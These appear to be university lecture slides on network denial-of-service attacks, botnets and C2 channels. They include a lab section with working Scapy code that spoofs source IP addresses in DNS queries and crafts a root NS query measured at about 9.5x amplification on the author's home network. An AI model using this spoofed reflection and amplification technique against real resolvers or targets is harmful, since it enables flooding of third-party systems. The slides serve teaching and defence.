Networking based Denial of Service

Dr. Greg Bernstein

February 20th, 2022

Denial of Service Attacks

References

Saman Taghavi Zargar, James Joshi, and David Tipper, A Survey of Defense Mechanisms Against Distributed Denial of Service (DDoS) Flooding Attacks, IEEE Communications Surveys & Tutorials, Volume: 15, Issue: 4, Fourth Quarter 2013. (DoS Survey)
Wikipedia: Denial of Service attacks

Home DoS Attack Diagram

They are out to get me!!!

What Can they Attack?

My Machine, but in what way?
My access to the internet? In what sense?

Simple Solution?

Use a firewall and block the attackers IP!

IP Address Spoofing

From Wikipedia: IP Address Spoofing

General Firewalls

Wikipedia: Firewalls

Packet Filtering – Can deny or accept packets based on packet header information
Connection tracking/Stateful – Keep track of “connections” (streams of packets) traversing the firewall. This was considered an advanced firewall feature
Deep Packet Inspection – Looks at contents of packets.

Home Router Firewalls

Connection tracking was added to the Linux kernel in version 2.4. My home router uses Linux kernel 5.4.xxx.
Simple but very effective rule: only permit “connections” initiated from “inside” the firewall go out to the internet and reject all unsolicited packets from the internet from coming in.

DoS History

From (DoS Survey)

Denial of service (DOS) attacks, which are intended attempts to stop legitimate users from accessing a specific network resource, have been known to the network research community since the early 1980s. In the summer of 1999, the Computer Incident Advisory Capability (CIAC) reported the first Distributed DoS (DDoS) attack incident and most of the DoS attacks since then have been distributed in nature.

Broad DoS Attack Categories

From (DoS Survey)

Vulnerability based attack
Exhaustion/Flooding based attack

Vulnerability DoS Attacks

From (DoS Survey)

The first method is for the attacker to send some malformed packets to the victim to confuse a protocol or an application running on it.

Flooding/Exhaustion Attacks

From (DoS Survey)

involves an attacker trying to do one or both of the following:

disrupt a legitimate user’s connectivity by exhausting bandwidth, router processing capacity or network resources; these are essentially network/transport-level flooding attacks; or
disrupt a legitimate user’s services by exhausting the server resources; these essentially include application-level flooding attacks.

Botnets and Zombies 1

From (DoS Survey)

DDoS attacks are often launched by a network of remotely controlled, well organized, and widely scattered Zombies or Botnet computers that are simultaneously and continuously sending a large amount of traffic an/or service requests to the target system. Zombies or computers that are part of a botnet are usually recruited through the use of worms, Trojan horses or backdoors.

Botnets and Zombies 2

From (DoS Survey)

Employing the resources of recruited computers to perform DDoS attacks allows attackers to launch a much larger and more disruptive attack. Furthermore, it becomes more complicated for the defense mechanisms to recognize the original attacker because of the use of counterfeit (i.e., spoofed) IP addresses by zombies under the control of the attacker.

Network/transport-level DDoS Attacks

Protocols Targeted

From (DoS Survey)

These attacks have been mostly launched using TCP, UDP, ICMP and DNS protocol packets. There are four types of attacks in this category.

Network DoS Attack Categories

Network Flooding (just lots of traffic) – packet generators are used all the time in network testing and simulation. See Best traffic generator tools of 2020
Protocol Exploitation – Attackers exploit specific features of protocols
Reflection-based – Attackers send forged requests to “reflector” machines which then send responses to targets
Amplification-based Flooding – Attackers use network services to send much larger responses to the requests at the target

Network Flooding Example

Don’t underestimate the speed of your laptop!

TCP SYN Flooding 1

Wikipedia: SYN Flooding

A SYN flood is a form of denial-of-service attack in which an attacker rapidly initiates a connection to a server without finalizing the connection. The server has to spend resources waiting for half-opened connections, which can consume enough resources to make the system unresponsive to legitimate traffic.

TCP SYN Flooding 2

Wikipedia: SYN Flooding A normal connection between a user (Alice) and a server. The three-way handshake is correctly performed.

TCP SYN Flooding 3

Wikipedia: SYN Flooding The attacker (Mallory) sends several packets but does not send the “ACK” back to the server. The connections are hence half-opened and consuming server resources. Alice, a legitimate user, tries to connect but the server refuses to open a connection resulting in a denial of service.

Reflected Attacks

Wikipedia: Reflected DoS

A distributed denial-of-service attack may involve sending forged requests of some type to a very large number of computers that will reply to the requests. Using Internet Protocol address spoofing, the source address is set to that of the targeted victim, which means all the replies will go to (and flood) the target.

Classic Smurf Attack

Wikipedia: Smurf Attack

In the late 1990s, many IP networks would participate in Smurf attacks if prompted (that is, they would respond to ICMP requests sent to broadcast addresses). The name comes from the idea of very small, but numerous attackers overwhelming a much larger opponent (see Smurfs). Today, administrators can make a network immune to such abuse; therefore, very few networks remain vulnerable to Smurf attacks.

UDP Amplification Attacks 1

Wikipedia: Amplification Attacks

Amplification attacks are used to magnify the bandwidth that is sent to a victim. This is typically done through publicly accessible DNS servers that are used to cause congestion on the target system using DNS response traffic. Many services can be exploited to act as reflectors, some harder to block than others.

UDP Amplification Attacks References

UDP Amplification Factor Examples

From Wikipedia: Amplification Attacks

Application-level DDoS

Attack Characteristics

These attacks focus on disrupting legitimate user’s services by exhausting the server resources (e.g., Sockets, CPU, memory, disk/database bandwidth, and I/O bandwidth). Application-level DDoS attacks generally consume less bandwidth and are stealthier in nature compared to volumetric attacks since they are very similar to benign traffic.

DNS Reflection/amplification based flooding attacks

These attacks use the same techniques as their network/transport-level peers (i.e., sending forged application-level protocol requests to the large number of reflectors). For instance, the DNS amplification attack employs both reflection and amplification techniques. The attackers (zombies) generate small DNS queries with forged source IP addresses which can generate a large volume of network traffic since DNS response messages may be substantially larger than DNS query messages. Then this large volume of network traffic is directed towards the targeted system to paralyze it.

HTTP Session flooding attacks

In this type of attack, session connection request rates from the attackers are higher than the requests from the legitimate users; hence, this exhausts the server resources and leads to DDoS flooding attack on the server. One of the famous attacks in this category is the HTTP get/post flooding attack (a.k.a., excessive VERB) [35] in which attackers generate a large number of valid HTTP requests (get/post) to a victim web server. Attackers usually employ botnets to launch these attacks. Since each of the bots can generate a large number of valid requests (usually more than 10 requests a second) there is no need for a large number of bots to launch a successful attack. HTTP get/post flooding attacks are non-spoofed attacks.

Faulty Web Application

In this attack, attackers take advantage of websites with poor designs or improper integration with databases. For instance, they can employ SQL-like injections to generate requests to lock up database queries. These attacks are highly specific and effective because they consume server resources (memory, CPU, etc.).

Slow Request/Response Attacks 1

Wikipedia: Slowloris attack

Slowloris tries to keep many connections to the target web server open and hold them open as long as possible. It accomplishes this by opening connections to the target web server and sending a partial request. Periodically, it will send subsequent HTTP headers, adding to, but never completing, the request.

Slow Request/Response Attacks 2

Wikipedia: R-U-Dead-Yet

R.U.D.Y., short for R U Dead yet, is an acronym used to describe a Denial of Service (DoS) tool used by hackers to perform slow-rate a.k.a. “Low and slow” attacks by directing long form fields to the targeted server. It opens fewer connections to the website being targeted for a long period and keeps the sessions open as long as it is feasible. The amount of open sessions overtires the server or website making it unavailable for the authentic visitors. The data is sent in small packs at an incredibly slow rate; normally there is a gap of ten seconds between each byte but these intervals are not definite and may vary to avert detection.

DoS Amplified Reflection Example

Tools Used

Linux Server – As a well documented remotely accessible computer
Python 3, Scapy Python – To form packets and spoof IP addresses
WireShark – For observation

Network Configuration

Computer Configuration

Linux server (Ubuntu 20.04)
Python 3.7.7 (local Anaconda3 install)
Scapy version 2.4.4, installation: pip install --pre scapy[complete]
Scapy sudo start: sudo /home/greg/anaconda3/bin/scapy

Scapy UI

Warnings and Caveats

Sending inappropriate packets to a machine that you are not authorized to use can be considered a crime
Note this does not include visiting public websites or services
This does include DoS technique testing!

A Simple DNS Request Packet

DNS Query for the IPv4 Address for www.grotto-networking.com
DNS Packet to hold the Query
UDP packet to destination port 53 (DNS), any source port
IP packet from my machine 192.168.1.220 to the DNS server machine 192.168.1.1

Scapy Documentation

Scapy introduction
Scapy usage: Long, but a lot of good information in here.
The layers package: Hidden in here is almost all the packet/protocols supported e.g., IP, UDP, DNS, etc…

Creating the Request Packet

myDns = IP(dst="192.168.1.1")/UDP()/DNS(rd=1,qd=DNSQR(qname="www.grotto-networking.com"))

DNSQR is the DNS Query
In DNS RD = 1 means recursion desired from the DNS server

Sending the Packet and Observing the Response

myDns = IP(dst="192.168.1.1")/UDP()/DNS(rd=1,qd=DNSQR(qname="www.grotto-networking.com"))
p = sr1(myDns) # Send packet and listen for answer
lenMyDns = len(raw(myDns))
lenRes = len(raw(p))
print(f"length DNS request {lenMyDns}, length response {lenRes}")

Observing the Response

Also use myDns.show() and p.show()

Begin emission:
Finished sending 1 packets.
.....*
Received 6 packets, got 1 answers, remaining 0 packets
length DNS request 71, length response 87

Spoofing the Source

I bet this is going to be really tricky…

myDns2 = IP(dst="192.168.1.1")/UDP()/DNS(rd=1,qd=DNSQR(qname="www.grotto-networking.com"))
myDns2.src = "192.168.1.228" # Spoofed source address
p2 = sr1(myDns2) # Send packet and listen for answer, should not get one
send(myDns2) # Send packet don't listen for answer

Testing the Reflection

WireShark filtered capture on target

How Much Amplification?

In the previous experiment

Sent DNS request had a length of 71 bytes
Reflected DNS response had a length of 87 bytes
An “amplification factor” of around 1.22
Can we do better without too much more DNS research?

Packet Capture Dig +trace

When we ran dig +trace it seemed to produce a lot of output, capture it with WireShark

Recreating the Request Packet 1

Grab raw packet bytes from WireShark

"\xd4\x6e\x0e\xb2\x09\xc8\x8c\xc6\x81\x9b\xb5\x63\x08\x00\x45\x00" \
"\x00\x38\xb1\x88\x40\x00\x3f\x11\x00\x00\xc0\xa8\x01\xe4\xc0\xa8" \
"\x01\x01\xf0\x1b\x00\x35\x00\x24\x84\x6b\xc2\x73\x01\x00\x00\x01" \
"\x00\x00\x00\x00\x00\x01\x00\x00\x02\x00\x01\x00\x00\x29\x02\x00" \
"\x00\x00\x00\x00\x00\x00"

Recreating the Request Packet 2

myPkt = Ether(b'\xd4\x6e\x0e\xb2\x09\xc8\x8c\xc6\x81\x9b\xb5\x63\x08\x00\x45\x00\x00\x38\xb1\x88\x40\x00\x3f\x11\x00\x00\xc0\xa8\x01\xe4\xc0\xa8\x01\x01\xf0\x1b\x00\x35\x00\x24\x84\x6b\xc2\x73\x01\x00\x00\x01\x00\x00\x00\x00\x00\x01\x00\x00\x02\x00\x01\x00\x00\x29\x02\x00\x00\x00\x00\x00\x00\x00')
myPkt.command()

Try Recreated Packet

myDns4 = IP(dst='192.168.1.1')/UDP(sport=61467, dport=53)/DNS(id=49779, qr=0, opcode=0, aa=0, tc=0, rd=1, ra=0, z=0, ad=0, cd=0, rcode=0, qdcount=1, ancount=0, nscount=0, arcount=1, qd=DNSQR(qname=b'.', qtype=2, qclass=1), an=None, ns=None, ar=DNSRROPT(rrname=b'.', type=41, rclass=512, extrcode=0, version=0, z=0, rdlen=None))
p4 = sr1(myDns4) # Send packet and listen for answer
lenMyDns4 = len(raw(myDns4))
lenRes4 = len(raw(p4))
print(f"length DNS request {lenMyDns4}, length response {lenRes4}")

Amplification Factor Check

Finished sending 1 packets.
....*
Received 5 packets, got 1 answers, remaining 0 packets
length DNS request 56, length response 531

Amplification factor: 9.48

Reflection and Amplification

myDns5 = IP(dst='192.168.1.1')/UDP(sport=61467, dport=53)/DNS(id=49779, qr=0, opcode=0, aa=0, tc=0, rd=1, ra=0, z=0, ad=0, cd=0, rcode=0, qdcount=1, ancount=0, nscount=0, arcount=1, qd=DNSQR(qname=b'.', qtype=2, qclass=1), an=None, ns=None, ar=DNSRROPT(rrname=b'.', type=41, rclass=512, extrcode=0, version=0, z=0, rdlen=None))
myDns5.src = '192.168.1.228'
send(myDns5) # Send it

Capture at the Target

Botnets

Definition

Wikipedia: Botnet

A botnet is a logical collection of Internet-connected devices such as computers, smartphones or IoT devices whose security have been breached and control ceded to a third party. Each compromised device, known as a “bot”, is created when a device is penetrated by software from a malware (malicious software) distribution.

Botnet References

What are Botnets used for?

Wikipedia: Botnet

Botnets can be used to perform Distributed Denial-of-Service (DDoS) attacks, steal data, send spam, and allow the attacker to access the device and its connection.

Botnets are increasingly rented out by cyber criminals as commodities for a variety of purposes. Listen to Ep 110: Spam Botnets February 8th, 2022.

Components of a Botnet

bot master or bot herder – the controller of the bot net
command and control (c2) servers – intermediaries between the master and the zombies.
command and control channels – the communication mechanisms used between master, C2 servers, and/or bots.
bots or zombies – the compromised computers

Centralized Botnet

From Botnet Communication Patterns

Botnet Topologies

From Botnet Communication Patterns

Bots Contacting the Command Server

IP addresses – These generally have to be hard coded and can be detected
Domain names – These are sometimes generated by algorithms, bot master needs to register these

Command and Control Protocols

Ease of use, detectability, etc…

IRC: Used in early bots, but who uses IRC anymore?
HTTP: Common on networks doesn’t raise suspicions
P2P protocols: Wikipedia: Kademlia, Wikipedia: I2P

Command and Control (C2) Software

Malware C2 Comms: Emotet 1

From Emotet Tech Analysis

An encrypted command and control (C2) channel over HTTP. Version 4 of Emotet uses an AES symmetric key that is encrypted using a hard-coded RSA public key. Older versions of Emotet encrypted the C2 channel using the simpler RC4 symmetric-key algorithm.

Malware C2 Comms: Emotet 2

From Emotet Tech Analysis

Since March 2019, Emotet’s encrypted C2 data is stored in the data section of HTTP POST requests sent to the malware’s C2 servers.[7] Previously, Emotet stored its encrypted C2 data in the “Cookie” field in the header of HTTP GET requests. From a detection perspective, this change makes tracking of Emotet’s C2 communications more difficult because most web proxies do not record the data section of HTTP requests in their logs by default.

Adversary Infrastructure Report 1

from Adversry Infrastructure

Adversary Infrastructure Report 2

from Adversry Infrastructure